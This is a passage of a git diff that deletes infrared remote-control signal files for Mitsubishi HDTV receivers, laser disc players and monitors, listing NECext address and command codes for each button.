64 00 00 00 -# -name: CURSOR_< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 65 00 00 00 -# -name: SUBTITLE_ON_OFF -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 67 00 00 00 -# -name: CURSOR_> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 6D 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 6F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/HDTV Receiver/12,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/HDTV Receiver/12,251.ir deleted file mode 100644 index 19bc15af5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/HDTV Receiver/12,251.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 01 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 02 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 03 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 04 00 00 00 -# -name: 1_/_MOVIES -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 05 00 00 00 -# -name: 2_/_SPORTS -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 06 00 00 00 -# -name: 3_/_NEWS -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 07 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0B 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0C 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0D 00 00 00 -# -name: ACTION -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0E 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0F 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 10 00 00 00 -# -name: FAV_/_LIST -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 11 00 00 00 -# -name: GUIDE_/_MENU -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 12 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 13 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 14 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 15 00 00 00 -# -name: PREV_CH_/_SERVICES -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 16 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 17 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 18 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 19 00 00 00 -# -name: -_/_ALPHA -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 36 00 00 00 -# -name: HD_MODE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 37 00 00 00 -# -name: SD_MODE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 38 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/HDTV Receiver/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/HDTV Receiver/71,-1.ir deleted file mode 100644 index 80481553c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/HDTV Receiver/71,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 6A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 71 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Laser Disc/168,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Laser Disc/168,-1.ir deleted file mode 100644 index 8dc980e95..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Laser Disc/168,-1.ir +++ /dev/null @@ -1,590 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 09 00 00 00 -# -name: DIGITAL/ANALOG -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 0C 00 00 00 -# -name: DIGITAL/ANALOG/CX -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 0C 00 00 00 -# -name: DIGITAL -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 0C 00 00 00 -# -name: FILE -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 0D 00 00 00 -# -name: CX -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 0E 00 00 00 -# -name: FWD_>> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 10 00 00 00 -# -name: FFWD>> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 10 00 00 00 -# -name: REV_<< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 11 00 00 00 -# -name: REW<< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 11 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 13 00 00 00 -# -name: CHAPTER -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 13 00 00 00 -# -name: STOP/OPEN_[] -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 16 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 16 00 00 00 -# -name: STOP/OPEN -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 16 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 17 00 00 00 -# -name: PLAY> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 17 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 18 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 18 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 19 00 00 00 -# -name: LAST_MEMORY -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 19 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1C 00 00 00 -# -name: AUTO_EDIT -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1D 00 00 00 -# -name: AUDIO_MONITOR -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1E 00 00 00 -# -name: AUDIO_D/A -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1E 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1E 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1F 00 00 00 -# -name: JOG_FWD -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 20 00 00 00 -# -name: JOG_FWD_>> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 20 00 00 00 -# -name: JOG_REV -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 24 00 00 00 -# -name: JOG_REV_<< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 24 00 00 00 -# -name: SCAN_X2_FWD -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 28 00 00 00 -# -name: SCAN_FWD -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 28 00 00 00 -# -name: SCAN_FWD(CLEAR_SCAN) -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 28 00 00 00 -# -name: SCAN_FWD(SLOW_SP) -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 28 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 29 00 00 00 -# -name: SCAN_FWD(LOW_SCAN) -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 29 00 00 00 -# -name: SCAN_FWD(MED-SLOW) -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 29 00 00 00 -# -name: SCAN_FWD(MED-HIGH) -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 2A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 2B 00 00 00 -# -name: SCAN_FWD(HIGH_SCAN) -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 2B 00 00 00 -# -name: SHUTTLE_FWD(F.S) -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 2B 00 00 00 -# -name: SHUTTLE_FWD_>> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 2B 00 00 00 -# -name: SCAN_FWD(FULL_SP) -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 2B 00 00 00 -# -name: SCAN_X2_REV -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 2C 00 00 00 -# -name: SCAN_REV(CLEAR_SCAN) -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 2C 00 00 00 -# -name: SCAN_REV(SLOW_SP) -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 2C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 2D 00 00 00 -# -name: SCAN_REV(LOW_SCAN) -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 2D 00 00 00 -# -name: SCAN_REV(MED-SLOW) -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 2D 00 00 00 -# -name: SCAN_REV(MED-HIGH) -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 2E 00 00 00 -# -name: SCAN_REV(HIGH_SCAN) -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 2F 00 00 00 -# -name: SHUTTLE_REV(F.S) -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 2F 00 00 00 -# -name: SHUTTLE_REW_<< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 2F 00 00 00 -# -name: SCAN_REV(FULL_SP) -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 2F 00 00 00 -# -name: DIGITAL_LEVEL -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 37 00 00 00 -# -name: AUDIO_COMPRESS -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 37 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 42 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 43 00 00 00 -# -name: REPEAT_B -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 44 00 00 00 -# -name: REPEAT_A -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 44 00 00 00 -# -name: C_(CANCEL) -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 45 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 45 00 00 00 -# -name: SEARCH_- -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 46 00 00 00 -# -name: SEARCH_+ -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 47 00 00 00 -# -name: REPEAT_A -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 48 00 00 00 -# -name: REPEAT_B -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 48 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 4C 00 00 00 -# -name: SIDE_A -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 4D 00 00 00 -# -name: DISC_SIDE_A -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 4D 00 00 00 -# -name: SIDE_B -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 4E 00 00 00 -# -name: DISC_SIDE_B -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 4E 00 00 00 -# -name: FRAME_< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 50 00 00 00 -# -name: STEP_< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 50 00 00 00 -# -name: FS_(FWD_SRCH)_>> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 52 00 00 00 -# -name: FS_>> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 52 00 00 00 -# -name: SRCH_FWD_(FS)>> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 52 00 00 00 -# -name: RS_(REV_SRCH)_<< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 53 00 00 00 -# -name: RS_<< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 53 00 00 00 -# -name: SRCH_REV_(RS)<< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 53 00 00 00 -# -name: FRAME_> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 54 00 00 00 -# -name: STEP_> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 54 00 00 00 -# -name: SEARCH_< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 55 00 00 00 -# -name: SEARCH_> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 58 00 00 00 -# -name: HILITE/INTRO_SCAN -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 5A 00 00 00 -# -name: STROBE -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 5B 00 00 00 -# -name: STILL/W_SOUND -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 5B 00 00 00 -# -name: ONE_SHOT_MEMORY -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 5D 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Laser Disc/175,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Laser Disc/175,-1.ir deleted file mode 100644 index 51c22a923..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Laser Disc/175,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: E2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: E3 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/1,-1.ir deleted file mode 100644 index 2ef8e4019..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/1,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: 100 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: CHANNEL_^ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: CHANNEL_V -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: VOL_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: VOL_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: PREVIEW -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1C 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 20 00 00 00 -# -name: QV -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/119,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/119,-1.ir deleted file mode 100644 index 74073dae9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/119,-1.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SKIP_SEARCH -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 03 00 00 00 -# -name: AUDIO_TV/VCR -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 05 00 00 00 -# -name: AUDIO_VCR/TV -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 05 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 17 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/130,100.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/130,100.ir deleted file mode 100644 index 7b4c8422a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/130,100.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SET/STELLEN -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 00 00 00 00 -# -name: SET -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 00 00 00 00 -# -name: BRT. -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 01 00 00 00 -# -name: CONT. -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 02 00 00 00 -# -name: VOL. -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 04 00 00 00 -# -name: BAL. -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 05 00 00 00 -# -name: DEGAU./ENTMAGN -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 07 00 00 00 -# -name: DEGAU. -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 07 00 00 00 -# -name: DISP.OFF(AUS) -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 08 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 08 00 00 00 -# -name: TTL -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 0C 00 00 00 -# -name: ANALOG_2 -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 0E 00 00 00 -# -name: RGB_2 -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 0E 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 10 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 11 00 00 00 -# -name: UP_(+) -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 13 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 13 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 16 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 17 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 18 00 00 00 -# -name: ANALOG_1 -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 1E 00 00 00 -# -name: RGB_1 -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 1E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 44 00 00 00 -# -name: CAL/CLR -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 45 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 46 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 47 00 00 00 -# -name: DOWN_(-) -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 4C 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 4C 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 50 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 52 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 53 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 54 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 55 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 82 64 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/2,-1.ir deleted file mode 100644 index 0888e7dad..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/2,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCR/TV -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/4,-1.ir deleted file mode 100644 index 537dc5fde..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/4,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ^ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: ^_(CHANNEL) -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: CHANNEL_^ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: CH^ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: V -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: V_(CHANNEL) -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: CHANNEL_V -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: CHV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: VOL_^ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: VOL^ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: VOL_V -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: VOLV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: ANT_A/B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: OFF_TIMER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: QUICK_VIEW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: OFF_TIMER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/71,-1.ir deleted file mode 100644 index 6fd89d340..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/71,-1.ir +++ /dev/null @@ -1,1268 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV_1_(SUN) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 00 00 00 00 -# -name: 1_(SUN) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 00 00 00 00 -# -name: TV_1 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 00 00 00 00 -# -name: TV_9 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 01 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 01 00 00 00 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 02 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 02 00 00 00 -# -name: COLOR_+ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 04 00 00 00 -# -name: EXT1 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 05 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 05 00 00 00 -# -name: TV_CANCEL -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 07 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 07 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 07 00 00 00 -# -name: TV_2_(MON) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 08 00 00 00 -# -name: 2_(MON) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 08 00 00 00 -# -name: TV_2 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 08 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 08 00 00 00 -# -name: TV_0 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 09 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 09 00 00 00 -# -name: TV_CH_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: CH_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: TV_CHANNEL_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: SCAN_^_(CH_^) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: CHANNEL_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: SCAN_^(CH_^) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: TV_CH^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: SCAN^(CH^) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0B 00 00 00 -# -name: COLOR_- -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0C 00 00 00 -# -name: EXT2 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0D 00 